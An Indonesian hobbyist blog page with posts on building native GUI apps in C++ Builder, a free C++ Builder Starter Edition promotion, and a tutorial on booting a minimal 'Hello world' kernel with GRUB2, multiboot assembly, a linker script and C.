Dengan membangun aplikasi native, kita tidak perlu kawatir lagi soal depndensi yang aneh-aneh. Sebenarnya, sih, aplikasi non-native hanya berguna jika menargetkan lebih dari satu platform. Jika .NET bisa berperan seperti layaknya Java, tentu saja saya lebih prefer membuat aplikasi non-native. Sayangnya, ya, ituu. .NET hanya berorientasi ke produk-produk Microsoft. Saya pikir, tidak terlalu 'wah' jika memilih membangun aplikasi semacam ini.

Pada umumnya, pemrograman berbasis native perlu skill ekstra untuk memahami internal sistem dari target OS. Apalagi, jika harus berhadapan dengan project aplikasi GUI. Bayangannya graphical, tapi koding dan desainnya kebanyakan ngetik. :3

Beruntung sekali saya mengenal Embarcadero C++ Builder 10.1 Berlin Starter Edition yang saya peroleh secara gratis dari promo (klik juga untuk ikutan). Desain GUI sudah difasilitasi RAD, namun anehnya koding tidak serumit membuat aplikasi native untuk membangun GUI seperti biasanya.

C++ builder RAD GUI

Berikut, kode sederhana untuk menambah level progress bar. Jangan kaget dengan kode diluar method TForm2::Button1Click, ya. Semua itu auto generated, lhoh!

C++ builder code editor


Hasil build berjalan dengan lancar. Sudah saya periksa internalnya, dan, ya, memang benar bahwa output yang dihasilkan C++ Builder ini bersifat native. Sekarang, saya benar-benar tidak sabar untuk mewujudkan impian lama, yang dari dulu hanya sebatas angan. So, let's go coding again. :)

NB : Penulis sama sekali tidak ada maksud promosi atau semacamnya
Read more

PROMO C++ Builder GRATIS dari Embarcadero

Entah dari kapan promo ini sudah ada. Barusan saya tidak sengaja membaca iklan dan menemukannya dari youtube. Cukup menarik, karena kebetulan saya baru saja sekian menit lalu mencari versi bajakan software ini, tapi tidak jadi karena bandwith terbatas. Tapi saya berubah pikiran, setelah menemukan penawaran gratis C++ Builder 10.1 Berlin Starter Edition dari Embarcadero. :)
Ini resmi, lho. Bukan bajakan gan.

Keterangan dan ketentuan yang diberikan oleh pihak embarcadero adalah sebagai beriikut:
Embarcadero® C ++ Builder 10,1 Berlin Starter adalah cara yang bagus untuk memulai membangun aplikasi C ++ berkinerja tinggi untuk Windows. C ++ Builder Starter dilengkapi fitur IDE yang efisien, code editor, debugger terintegrasi, desainer visual dua arah untuk mempercepat pengembangan aplikasi, ratusan komponen visual, dan lisensi penggunaan komersial secara terbatas. tidak termasuk komponen database dan driver.

Harga upgrade kompetitif tersedia untuk pengguna dari setiap C ++ Builder atau produk Turbo C ++ atau Windows lainnya IDE. Jika Anda pihak individual, Anda dapat menggunakan Starter Edition untuk membuat aplikasi untuk Anda gunakan sendiri dan aplikasi yang Anda dapat menjual sampai pendapatan Anda mencapai $ 1.000 per tahun. Jika Anda adalah pihak dari perusahaan kecil atau organisasi tanpa pendapatan (atau hingga $ 1.000 per tahun pendapatan), Anda dapat juga menggunakan Starter Edition. Setelah total pendapatan perusahaan Anda mencapai US $ 1.000, atau tim Anda telah berkembang lebih dari 5 developer, mulai upgrade ke edisi Professional dengan lisensi komersial terbatas.

Keren, bisa buat aplikasi komersial juga ternyata... :-o
Jika biasanya software ini dijual dengan harga $217, kali ini Embarcadero memberikan penawaran harga $0 (GRATIS) kepada kita. Cukup isikan data diri di link berikut dan segera download software gratisnya. So, ayuk, segera download, sebelum Embarcadero mengakhiri masa promonya, lho.

LINK

Setelah daftar, anda akan menerima serial number di email untuk diinputkan saat instalasi.
Adapun spesifikasi komputer minimum yang diperlukan adalah:
  • 1 GB RAM (2 GB+ recommended)
  • 3-45 GB free hard disk space depending on edition and configuration
  • DVD-ROM drive (if installing from a Media Kit DVD)
  • Basic GPU – Any vendor DirectX 9.0 class or better (Pixel Shader Level 2)
  • Intel® Pentium® or compatible, 1.6 GHz minimum (2GHz+ recommended)
  • 1024x768 or higher-resolution monitor
  • Mouse or other pointing device
  • Microsoft® Windows 10
  • Microsoft® Windows 8 or 8.1 (32-bit or 64-bit)
  • Microsoft® Windows 7 SP1 (32-bit or 64-bit)
  • RAD Studio can also be run on Mac OS X by using a virtual machine (VM) such as VMware Fusion or Parallels hosting a supported version of Windows
Saat saya menulis postingan ini, saya sedang menginstall C++ builder. Nanti, kalau sudah selesai, sya akan share review dan pengalamannya lagi.

OK, akhir kata, semoga informasi ini bermanfaat.
Good luck, guys..
Read more

Minggu, 25 Desember 2016

Episode Membuat Sistem Operasi: Mengistall Bootloader Hingga Mencetak Hello World (C dan Assembly + Video)

 

Tulisan ini tidak akan membahas banyak hal, dan tidak pula menjelaskan setiap poinnya dengan panjang lebar. Namun, agar terlihat menarik, saya sengaja menggunakan judul sepanjang itu. hehehe

Tutorial ini dapat diikuti dengan 2 cara; lihat video berikut dahulu, atau baca penjelasan yang diberikan di bawah, sebelum melihat video. #gak_penting


Persiapan
Pertama-tama, kita siapkan virtual disk dan memformatnya dengan filesystem FAT.

#dd if=/dev/zero of=disk.img bs=512 count=20000
#mkdosfs disk.img

Device /dev/zero adalah device yang akan selalu mengembalikan data 0 ketika dibaca. Kita menggunakan argumen input file (if) berupa device ini agar, virtual disk yang baru berisi data yang benar-benar kosong. Lalu output file (of) akan saya namakan sebagai disk.img. Besar virtual disk yang saya inginkan adalah 20000 sektor, yang tiap sektornya terdapat 512 byte. Kedua parameter ini di atur dengan block size (bs) dan count.

Perintah mkdosfs selanjutnya berguna untuk memformat virtual disk dengan filesystem FAT.

Instalasi GRUB 2
Alasan saya memilih GRUB, karena menurut saya GRUB adalah yang terbaik di antara bootloader lain. Bootloader lain umumnya hanya fokus pada dukungan sistem operasi linux, tidak untuk hobyist OS developer seperti kita. Meski begitu, GRUB 2 belum didukung platform Windows, jadi tutorial ini dikhususkan bagi anda yang memahami Linux. Jangan patah semangat, kalau memang tertarik dengan pengembangan OS, coba dual boot Windows + Ubuntu. [RECOMENDED]

losetup /dev/loopX disk.img
(Sekarang, mount  /dev/loopX di suatu tempat)
grub-install --force --root-directory=<lokasi_mount> /dev/nama_device

Pertama, kita harus memasang virtual disk yang baru dibuat ke loop device, yaitu dengan losetup. Gunakan format seperti diatas dengan mengubah X menjadi 0, 1, atau 2. Setelah dipasang, virtual disk akan bekerja sepeti block device nyata yang dapat diakses sebagai /dev/loopX.

Sekarang, mount loop device ke suatu tempat. Biar mudah, kita juga bisa mount lewat file manager langsung.

GRUB menyediakan grub-install sebagai program pembantu proses instalasi. Instalasi dapat dilakukan di block device manapun yang berproperti read write. Hampir semua filesystem didukung oleh GRUB, namun ada kalanya suatu hal membuat GRUB sulit bekerja pada filesystem tersebut. Oleh karena itu, tidak ada salahnya kita sedikit menyulitkan GRUB dengan --force. Hasilnya memang terlihat beberapa warning, tapi jangan kawatir, aman, kok. Tentukan lokasi mount dengan lokasi mount loop device. Lalu, apa nama device? tentu saja /dev/loopX..

Buat konfigurasi GRUB
 Metode loading kernel yang akan dilakukan adalah berdasarkan spesifikasi multiboot 2. Jadi kita perlu meload modul multiboot2, dari konfigurasi berikut.

set timeout=30
set default=0
menuentry 'Hello world' {
insmod multiboot2
multiboot2 /System/hello
}


Simpan pada device yang telah di mount sebagai /boot/grub/grub.cfg.

Buat project
Ada 3 macam file yang harus kita buat.
ldscript.txt
File ini berisi linker script, berguna untuk mengatur ulang section dari object files, sehingga sesuaii dengan keinginan kita.

ENTRY(multiboot_entry)
SECTIONS
{
  .text 0x1000000 :
  {
    text = .;
    /*header multiboot harus berada di awal section*/
    ./Release/multiboot2.s.o(*)
    *(.text)
  }
  .data :
  {
     data = .;
     *(.data)
     *(.rodata*)
  }
  .bss :
  {
    bss = .;
    *(.bss)
  }
  /DISCARD/ :
  {
    *(*)
  }
  end = .;
}  



Setiap mengompile file, dihasilkan sebuah object file. Dalam object file terbagi beberapa macam bagian (section), section umum yang akan selalu dihasilkan adalah .text (berisi instruksi komputer), .data (berisi data program) dan .bss (berisi data program yang memiliki nilai awal 0). Data yang berupa teks yang tidak pernah diubah selma program berjalan biasanya disimpan pada .rodata(read-only data).

int myvar = 0; --> .data

int myvar; sama seperti
int myvar = 0; --> .bss

Untuk melihat section pada objek, gunakan perintah berikut:

objdump -x namafileobjek.o

Program yang dihasilkan dengan linker script ini akan dieksekusi pada alamat memori 0x1000000. Prosedur yang dieksekusi pertama adalah multiboot_entry().

multiboot.s
.intel_syntax noprefix
.extern KMain
.global multiboot_entry

.text
    .align 8
    multiboot_header_start:
        .long 0xE85250D6
        .long 0
        .long multiboot_header_end - multiboot_header_start
        .long -(0xE85250D6+0+(multiboot_header_end - multiboot_header_start))
        .align 8
        address_tag:
            .short    2
            .short    0
            .long    24
            .long    multiboot_header_start
            .long    text
            .long    bss
            .long    end
        .align 8
        entry_tag:
            .short    3
            .short    0
            .long    12
            .long    multiboot_entry
            .align 8

/*    framebuffer_tag:
            .short    5
            .short    0
            .long    20
            .long    640
            .long    480
            .long    32
        .align 8
*/       
        end_tag:
            .short    0
            .short    0
            .long    8
        .align 8
    multiboot_header_end:
   
    multiboot_entry:
        push ebx
        call KMain
        jmp $


Header multiboot harus berada di bagian paling awal dari file yang diload bootloader. Lokasinya juga harus dalam alignment 8 byte. Menurut spesifikasi, bootloader akan mencari header di beberapa byte pertama dari file. Jika ditemukan nilai indikator magic yang tepat, bootloader harus melanjutkan loading file tersebut. Selengkapnya mengenai konfigurasi Multiboot, kunjungi grup Programmer OS Indonesia, atau baca dokumentasi Multiboot v 2.

Saat multiboot_entry() terpanggil, ia akan memnggi fungsi KMain(), di fungsi tersebutlah kita memulai pekerjaan kita. Saat bootloader selesai, ia mengisi EBX dengan alamat multiboot tag. Kita dapat menemukan banyak informasi dari multiboot tag ini. Tapi, sekarang bukan saat yang tepat untuk mempelajarinya.

kmain.c
Untuk menghasilkan output, kita dapat menulis karakter di memori 0xB8000. Setiap 2 byte, dimulai dari alamat tersebut merepresentasikan sebuah karakter yang akan dicetak mulai dari pojok kiri atas. 1 byte pertama adalah karakter dan 1 byte lagi adalah atribut warna karakter. Saya juga sudah menulis penjelasan lebih lengkap di Programmer OS Indonesia.

//Biar tambah keren
static char *vidmem = 0xB8000;
void print(char *str){
    while(*str != 0){
        *vidmem = *str;
        vidmem++;
        *vidmem = 0x0F; //attribute
        vidmem++;
        str++;
    }
}

int KMain(void *arg)
{
    print("Hello world!");
}


Build
Untuk source code C, kompilasi dilakukan dengan perintah:
gcc -c -masm=intel -m32 -nostdinc -fnostack-protector -ffreestanding

-masm=intel digunakan agar kita dapat menggunakan syntax assembly intel saat menggunakan inline assembly di C.
-m32 untuk mnghasilkan kode instuksi 32-bit.
-nostdinc untuk melarang kompiler menginclude standard header otomatis.
-fnostack-protector agar compiler tidak melakukan optimisasi saat akses stack.
-ffreestanding untuk memastikan agar compiler tidak menginput kode tambahan lain, terutama kode yang berkaitan dengan host OS.

Untuk kode assembly:
as --32 -msyntax=intel

Maksudnya, argumen tersebut mengatakan bahwa kita ingin mengompile source yang ditulis dalam syntax intel ke dalam objek yang berformat instruksi 32-bit.

Untuk building file object:
gcc -nostdlib -T ldscript.txt

-nostdlib mencegah linker memadukan program dengan library system operasi host. Jangan lupa, kita haru membuat output agar seuai linker script dengan -T.

Run
Build seluruh source code, taruh hasilnya pada virtual disk sebagai /System/hello.
Unmount virtual disk, lalu jalankan dengan qemu-system-i386 disk,img atau qemu-system-i386 /dev/loop0.

http://www.facebook.com/groups/programmer.os.indonesia

Read more